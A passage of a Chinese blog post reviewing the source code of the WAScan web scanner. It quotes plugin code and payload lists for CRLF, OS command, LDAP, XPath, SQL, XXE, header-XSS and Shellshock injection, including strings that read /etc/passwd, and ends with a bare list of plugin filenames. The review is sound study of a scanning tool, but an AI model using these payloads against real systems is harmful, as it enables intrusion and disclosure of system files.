payload += ["%s\' or 1=1 or \'%s\'=\'%s"%(r_string(10),r_string(10),r_string(10))]
payload += ["x' or name()='username' or 'x'='y"]
payload += ["%s\' or name()='username' or '%s'='%s"%(r_string(10),r_string(10),r_string(10))]
payload += ["\' and count(/*)=1 and \'1\'=\'1"]
payload += ["\' and count(/@*)=1 and \'1\'=\'1"]
return payload

用于匹配的模式在 lib/db/errors/xpath.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"info":{
"name":"XPath",
"regexp":[
"::xpath()",
"XPATH syntax error\:",
"XPathException",
"XPath\:",
"XPath\(\)",
"System.Xml.XPath.XPathException\:",
"MS\.Internal\.Xml\.",
"Unknown error in XPath",
"org.apache.xpath.XPath",
"A closing bracket expected in",
"An operand in Union Expression does not produce a node-set",
"Cannot convert expression to a number",
"Document Axis does not allow any context Location Steps",
"Empty Path Expression",
"Empty Relative Location Path",
"Empty Union Expression",
"Expected \'\)\' in",
"Expected node test or name specification after axis operator",
"Incompatible XPath key",
"Incorrect Variable Binding",
"libxml2 library function failed",
"xmlsec library function",
"error \'80004005\'",
"A document must contain exactly one root element\.",
"Expected token \']\'",
"\<p\>msxml4.dll\<\/font\>",
"4005 Notes error: Query is not understandable"
]
}
}

plugins/attacks/crlf.py

payload中注入的模式是Set-Cookie:crlf=injection,在进行检测时把=injection替换成随机字符串。然后在返回头的Set-Cookie(若有)中检测注入的随机字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
class crlf(Request):
""" Carriage Return Line Feed """
get = "GET"
post = "POST"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
""" Run """
info('Checking CRLF Injection...')
URL = None
DATA = None
PAYLOAD = None
# start
for payload in crlfp():
random_string = r_string(20)
payload = payload.replace('=injection',random_string)
# check host
req = self.Send(CPath(self.url,'/%s'%payload),method=self.get)
if 'Set-Cookie' in req.headers.keys():
if search(random_string,req.headers['Set-Cookie'],I):
plus('A potential \"Carriage Return Line Feed\" was found at: ')
more('URL: {}'.format(req.url))
more('PAYLOAD: {}'.format(payload))
break
# post method
if self.data:
# data add payload
addPayload = preplace(self.url,payload,self.data)
for data in addPayload.run():
# send request
req = self.Send(url=self.url,method=self.post,data=data)
# search payload in response content
if 'Set-Cookie' in req.headers.keys():
if search(random_string,req.headers['Set-Cookie'],I):
URL = req.url
DATA = data
PAYLOAD = payload
break
# get method
else:
# url and payload
urls = preplace(self.url,payload,None)
for url in urls.run():
# send request
req = self.Send(url=url,method=self.get)
# search payload in response content
if 'Set-Cookie' in req.headers.keys():
if search(random_string,req.headers['Set-Cookie'],I):
URL = url
PAYLOAD = payload
break
# break if URL and PAYLOAD not empty
if URL and PAYLOAD:
# print
if DATA != None:
plus("A potential \"Carriage Return Line Feed\" was found at:")
more("URL: {}".format(URL))
more("POST DATA: {}".format(DATA))
more("PAYLOAD: {}".format(PAYLOAD))
elif DATA == None:
plus("A potential \"Carriage Return Line Feed\" was found at:")
more("URL: {}".format(URL))
more("PAYLOAD: {}".format(PAYLOAD))
# break
break

对应payload 在 lib/utils/payload.py:21:

1
2
3
4
5
6
7
8
9
10
11
def crlfp():
"""Carriage Return Line Feed"""
payload = [r'%%0a0aSet-Cookie:crlf=injection']
payload += [r'%0aSet-Cookie:crlf=injection']
payload += [r'%0d%0aSet-Cookie:crlf=injection']
payload += [r'%0dSet-Cookie:crlf=injection']
payload += [r'%23%0d%0aSet-Cookie:crlf=injection']
payload += [r'%25%30%61Set-Cookie:crlf=injection']
payload += [r'%2e%2e%2f%0d%0aSet-Cookie:crlf=injection']
payload += [r'%2f%2e%2e%0d%0aSet-Cookie:crlf=injection']
return payload

plugins/attacks/oscommand.py

代码结构与 htmli.py 类似。根据payload,直接在响应中去匹配特殊字符if search('{}'.format(payload.split('"')[1]),req.content):

对应payload在 lib/utils/payload.py:124

1
2
3
4
5
6
7
8
9
10
11
12
def os():
""" OS Command Injection """
payload = ["%secho \"%s\""%(quote_plus("&"),r_string(30))]
payload += ["%secho \"%s\""%(quote_plus("&&"),r_string(30))]
payload += ["%secho \"%s\""%(quote_plus("|"),r_string(30))]
payload += ["%secho \"%s\""%(quote_plus(";"),r_string(30))]
payload += ["%secho \"%s\""%(quote_plus("||"),r_string(30))]
payload += ["\techo \"%s\""%(r_string(30))]
payload += ["\t\techo \"%s\""%(r_string(30))]
payload += ["%s\"/bin/cat /etc/passwd\""%quote_plus('|')]
payload += ["%s\"/etc/passwd\""%quote_plus('|')]
return payload

plugins/attacks/ldapi.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:197:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def ldap():
""" LDAP Injection """
payload = ["!"]
payload += ["%29"]
payload += ["%21"]
payload += ["%28"]
payload += ["%26"]
payload += ["("]
payload += [")"]
payload += ["@\'"]
payload += ["*()|&'"]
payload += ["%s*"%r_string(10)]
payload += ["*(|(%s=*))"%r_string(10)]
payload += ["%s*)((|%s=*)"%(r_string(10),r_string(10))]
payload += [r"%2A%28%7C%28"+r_string(10)+r"%3D%2A%29%29"]
return payload

用于匹配的模式在 lib/db/errors/xpath.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"info":{
"name":"LDAP",
"regexp":[
"supplied argument is not a valid ldap",
"javax\.naming\.NameNotFoundException",
"javax\.naming\.directory\.InvalidSearchFilterException",
"Invalid DN syntax",
"LDAPException*",
"Module Products\.LDAPMultiPlugins",
"IPWorksASP\.LDAP",
"Local error occurred",
"Object does not exist",
"An inappropriate matching occurred"
]
}
}

plugins/attacks/headerxss.py

检查存在于头部字段的XSS,包括cookie字段,referer字段,useragent字段。其实就是拿xss的payload放在对应的位置再打一圈。话说这个位置的xss危害不大吧。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
class headerxss(Request):
""" Cross-Site Scripting (XSS) in headers value """
get = "GET"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
"""Run"""
info('Checking XSS on Headers..')
self.cookie()
self.referer()
self.useragent()
def cookie(self):
""" Check cookie """
for payload in pxss():
headers = {
'Cookie':'{}'.format(payload)
}
req = self.Send(url=self.url,method=self.get,headers=headers)
# search payload in content
if search(payload,req.content):
plus("A potential \"Cross-Site Scripting (XSS)\" was found at cookie header value:")
more("URL: {}".format(req.url))
more("PAYLOAD: {}".format(payload))
def referer(self):
""" Check referer """
for payload in pxss():
headers = {
'Referer':'{}'.format(payload)
}
req = self.Send(url=self.url,method=self.get,headers=headers)
# search payload in content
if search(payload,req.content):
plus("A potential \"Cross-Site Scripting (XSS)\" was found at referer header value:")
more("URL: {}".format(req.url))
more("PAYLOAD: {}".format(payload))
def useragent(self):
""" Check user-agent """
for payload in pxss():
headers = {
'User-Agent':'{}'.format(payload)
}
req = self.Send(url=self.url,method=self.get,headers=headers)
# search payload in content
if search(payload,req.content):
plus("A potential \"Cross-Site Scripting (XSS)\" was found at user-agent header value:")
more("URL: {}".format(req.url))
more("PAYLOAD: {}".format(payload))

plugins/attacks/sqli.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:101:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def sql():
"""Generic SQL"""
payload = ["\'"]
payload += ["\\\'"]
payload += ["||\'"]
payload += ["1\'1"]
payload += ["-%s"%(r_time())]
payload += ["\'%s"%(r_time())]
payload += ["%s\'"%(r_string(10))]
payload += ["\\\"%s"%(r_string(10))]
payload += ["%s=\'%s"%(r_time(),r_time())]
payload += ["))\'+OR+%s=%s"%(r_time(),r_time())]
payload += ["))) AND %s=%s"%(r_time(),r_time())]
payload += ["; OR \'%s\'=\'%s\'"%(r_time(),r_time())]
payload += ["\'OR \'))%s=%s --"%(r_time(),r_time())]
payload += ["\'AND \')))%s=%s --#"%(r_time(),r_time())]
payload += [" %s 1=1 --"%(r_string(20))]
payload += [" or sleep(%s)=\'"%(r_time())]
payload += ["%s' AND userid IS NULL; --"%(r_string(10))]
payload += ["\") or pg_sleep(%s)--"%(r_time())]
payload += ["; exec (\'sel\' + \'ect us\' + \'er\')"]
return payload

用于匹配的模式在 lib/db/sqldberror/ 下。略过不提。

plugins/attacks/xxe.py

代码结构与 htmli.py 类似。发送请求,然后匹配if search(payload,req.content):。个人看法,匹配效果较差。

payload在 lib/utils/payload.py:33:

1
2
3
4
5
6
7
8
9
def xxep():
""" XML External Entity"""
payload = ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>']
payload += ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>']
payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///etc/passwd"> ]>']
payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///c:/boot.ini"> ]>']
payload += ['<?xml version="1.0"?><change-log><text>root:/bin/bash</text></change-log>']
payload += ['<?xml version="1.0"?><change-log><text>default=multi(0)disk(0)rdisk(0)partition(1)</text></change-log>']
return payload

plugins/attacks/bashi.py

bash注入,但是这里只检测了GET方法,POST请求并不检查!另外这里在 头部的User-AgentReferer字段插入了payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class bashi(Request):
"""Bash Command Injection (ShellShock)"""
get = "GET"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
"""Run"""
info('Checking Bash Command Injection...')
for payload in bash():
# user-agent and referer header add the payload
user_agent = {'User-Agent':'() { :;}; echo; echo; %s;'%payload,
'Referer':'() { :;}; echo; echo; %s;'%payload
}
# send request
req = self.Send(url=self.url,method=self.get,headers=user_agent)
# split payload
if '\"' in payload: payload = payload.split('"')[1]
# search root:/bin/ba[sh] or payload in content
if search(r"root:/bin/[bash|sh]|"+payload,req.content):
plus("A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)")
more("URL: {}".format(self.url))
more("PAYLOAD: {}".format('() { :;}; echo; echo; %s;'%(payload)))
break

payload定义在:

1
2
3
4
5
6
7
8
9
10
def bash():
"""Basic Bash Command Injection """
payload = ["/bin/cat /etc/passwd"]
payload += ["/etc/passwd"]
payload += ["/et*/passw?"]
payload += ["/ca?/bi? /et?/passw?"]
payload += ["/et*/pa??wd"]
payload += ["cat /etc/passwd"]
payload += ["/bi*/echo \"%s\""%(r_string(10))]
return payload

先休息一下。。

plugins/attacks/blindsqli.py

plugins/attacks/headersqli.py

plugins/audit

plugins/audit/apache.py

plugins/audit/phpinfo.py

plugins/audit/xst.py

plugins/audit/robots.py

plugins/audit/open_redirect.py

plugins/brute

plugins/brute/params.py

plugins/brute/backupfile.py

plugins/brute/backupdir.py

plugins/brute/adminpanel.py

plugins/brute/backdoor.py

plugins/brute/commondir.py

plugins/brute/commonfile.py

plugins/disclosure

plugins/disclosure/errors.py

plugins/disclosure/creditcards.py

plugins/disclosure/emails.py

plugins/disclosure/privateip.py

plugins/disclosure/ssn.py

plugins/fingerprint

cms

plugins/fingerprint/cms/plone.py

plugins/fingerprint/cms/wordpress.py

plugins/fingerprint/cms/silverstripe.py

plugins/fingerprint/cms/adobeaem.py

plugins/fingerprint/cms/joomla.py

plugins/fingerprint/cms/drupal.py

plugins/fingerprint/cms/magento.py

framework

plugins/fingerprint/framework/symfony.py

plugins/fingerprint/framework/cherrypy.py

plugins/fingerprint/framework/seagull.py

plugins/fingerprint/framework/horde.py

plugins/fingerprint/framework/cakephp.py

plugins/fingerprint/framework/zend.py

plugins/fingerprint/framework/play.py

plugins/fingerprint/framework/phalcon.py

plugins/fingerprint/framework/nette.py

plugins/fingerprint/framework/spring.py

plugins/fingerprint/framework/karrigell.py

plugins/fingerprint/framework/grails.py

plugins/fingerprint/framework/web2py.py

plugins/fingerprint/framework/flask.py

plugins/fingerprint/framework/yii.py

plugins/fingerprint/framework/codeigniter.py

plugins/fingerprint/framework/fuelphp.py

plugins/fingerprint/framework/larvel.py

plugins/fingerprint/framework/asp_mvc.py

plugins/fingerprint/framework/apachejackrabbit.py

plugins/fingerprint/framework/django.py

plugins/fingerprint/framework/rails.py

plugins/fingerprint/framework/dancer.py

plugins/fingerprint/header/header.py

plugins/fingerprint/header/cookies.py

language

plugins/fingerprint/language/aspnet.py

plugins/fingerprint/language/perl.py

plugins/fingerprint/language/java.py

plugins/fingerprint/language/coldfusion.py

plugins/fingerprint/language/python.py

plugins/fingerprint/language/flash.py

plugins/fingerprint/language/php.py

plugins/fingerprint/language/ruby.py

plugins/fingerprint/language/asp.py

os

plugins/fingerprint/os/unix.py

plugins/fingerprint/os/ibm.py

plugins/fingerprint/os/linux.py

plugins/fingerprint/os/solaris.py

plugins/fingerprint/os/bsd.py

plugins/fingerprint/os/mac.py

plugins/fingerprint/os/windows.py

server

plugins/fingerprint/server/server.py

waf

plugins/fingerprint/waf/yundun.py

plugins/fingerprint/waf/urlscan.py

plugins/fingerprint/waf/datapower.py

plugins/fingerprint/waf/sucuri.py

plugins/fingerprint/waf/aws.py

plugins/fingerprint/waf/senginx.py

plugins/fingerprint/waf/baidu.py

plugins/fingerprint/waf/safe3.py

plugins/fingerprint/waf/secureiis.py

plugins/fingerprint/waf/anquanbao.py

plugins/fingerprint/waf/teros.py

plugins/fingerprint/waf/sitelock.py

plugins/fingerprint/waf/netcontinuum.py

plugins/fingerprint/waf/cloudflare.py

plugins/fingerprint/waf/nsfocus.py

plugins/fingerprint/waf/airlock.py

plugins/fingerprint/waf/stingray.py

plugins/fingerprint/waf/safedog.py

plugins/fingerprint/waf/profense.py

plugins/fingerprint/waf/comodo.py

plugins/fingerprint/waf/modsecurity.py

plugins/fingerprint/waf/blockdos.py

plugins/fingerprint/waf/hyperguard.py

plugins/fingerprint/waf/sophos.py

plugins/fingerprint/waf/requestvalidationmode.py

plugins/fingerprint/waf/cloudfront.py

plugins/fingerprint/waf/netscaler.py

plugins/fingerprint/waf/uspses.py

plugins/fingerprint/waf/binarysec.py

plugins/fingerprint/waf/paloalto.py

plugins/fingerprint/waf/wallarm.py

plugins/fingerprint/waf/incapsula.py

plugins/fingerprint/waf/knownsec.py

plugins/fingerprint/waf/jiasule.py

plugins/fingerprint/waf/edgecast.py

plugins/fingerprint/waf/varnish.py

plugins/fingerprint/waf/dotdefender.py

plugins/fingerprint/waf/newdefend.py

plugins/fingerprint/waf/isaserver.py

plugins/fingerprint/waf/kona.py

plugins/fingerprint/waf/asm.py

plugins/fingerprint/waf/fortiweb.py

plugins/fingerprint/waf/yunsuo.py

plugins/fingerprint/waf/trafficshield.py

plugins/fingerprint/waf/sonicwall.py

plugins/fingerprint/waf/barracuda.py

plugins/fingerprint/waf/bigip.py

plugins/fingerprint/waf/ciscoacexml.py

plugins/fingerprint/waf/betterwpsecurity.py

plugins/fingerprint/waf/denyall.py

plugins/fingerprint/waf/radware.py

plugins/fingerprint/waf/expressionengine.py

plugins/fingerprint/waf/armor.py

plugins/fingerprint/waf/webknight.py

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:WAScan源码阅读

文章作者:chybeta

发布时间:2019年01月04日 - 08:01

最后更新:2019年01月06日 - 17:01

原始链接:http://chybeta.github.io/2019/01/04/WAScan源码阅读/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。